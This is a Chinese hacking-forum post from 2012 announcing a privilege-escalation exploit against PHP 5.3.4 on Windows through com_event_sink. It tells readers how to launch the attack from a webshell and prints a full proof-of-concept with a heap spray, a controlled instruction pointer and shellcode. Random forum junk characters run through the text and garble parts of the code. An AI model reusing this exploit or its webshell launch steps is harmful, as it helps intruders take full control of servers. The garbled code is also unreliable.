找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2394|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
3 c  j% J$ ~% G( Y4 n. B$ Y! o  P6 ~4 d+ R, R3 W
测试方法如下:cmd /c x:\php\php.exe x:\test.php
" a- q0 g' R! M7 x; a3 f
4 j! `7 L* j) p! A% h6 i下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php0 |) ^5 Z9 w' x+ e$ P  ~& h. S/ I* B% M
这里是两个测试的截图:, p* A8 f% N5 c$ x1 d3 ]( d

; H% _3 R9 K$ _( e3 o7 ~9 o( M2 f
* t4 {( d; {+ j" T- r! v; i* \# w  {* `+ `
) ], p4 m( p" _4 A! K

6 M- v" _6 }% `, u; F4 t# G成功利用此漏洞的攻击者将获得系统的最高权限
$ G" y* `) F! s$ _+ Y; U+ X1 n: ~+ B+ q4 m) s+ k# p, I# c0 F

  k2 a6 Y* @: r  g* ^
: o+ R( n0 _$ W  G* `, f: t4 D7 Q; O: M  Q# Q5 ?

$ o- g  K" G& K4 _9 ]关于漏洞分析稍后附上。一下是PoC代码:
# q1 O2 ^2 N* x1 }; r% V$ o
: V/ Z. H- O9 R7 A5 O# q<?php1 I  l$ Y0 K. |% `6 u  F
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
9 G3 ~) L1 ~" P# k/ Q9 N8 I//$eip ="\x44\x43\x42\x41";
' U& y. e  L8 Y/ }; p$eip= "\x4b\xe8\x57\x78";
$ p; A7 n, I, ?# R! m, b$eax ="\x80\x01\x8d\x04";! [" t+ M" J7 \. e' W
$deodrant="";8 ?* Z. T$ m3 y+ Z4 }- a. Y9 G
$axespray = str_repeat($eip.$eax,0x80);
# }& |% K9 s: a* {//048d01903 x3 B: z3 X2 S
echo strlen($axespray);0 s: |# ~7 R7 k) o+ E( N
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
9 t8 P& X( D5 o/ _7 P# I' R0 Recho "Silic Group Hacker Army - BlackBap.Org";
* m& y9 H7 ^+ G) W//19200 ==4B32 4b00
& q# c; A2 q3 N/ W: b3 Jfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
2 R6 U9 |5 }! J0 R. i+ `$terminate = "T";# ?( R6 ?* @1 U, F
$u[] =$deodrant;
* D4 }& H8 K3 r& U$r[] =$deodrant.$terminate;
% T  a- H8 ^3 V' v- I# g$a[] =$deodrant.$terminate;
; K: S8 r( W) m$ ~5 n$s[] =$deodrant.$terminate;
# R8 W) a" \' W. m//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
/ U9 J% L  H* D7 X& D/ g1 K1 L8 y' R$vVar = new VARIANT(0x048d0000+180);. {0 i6 u% d. I# J, Q, s7 d* Y5 Q
//弹窗代码(Shellcode)- _/ \1 ^$ y( P& a( _6 q3 L
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";  \$ W+ K2 m: i, c- H6 m
$var2 = new VARIANT(0x41414242);
5 d. n' a+ g1 Pcom_event_sink($vVar,$var2,$buffer);4 y5 O1 j1 |; i' `! K
?>9 N! ~0 ~$ s; s

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表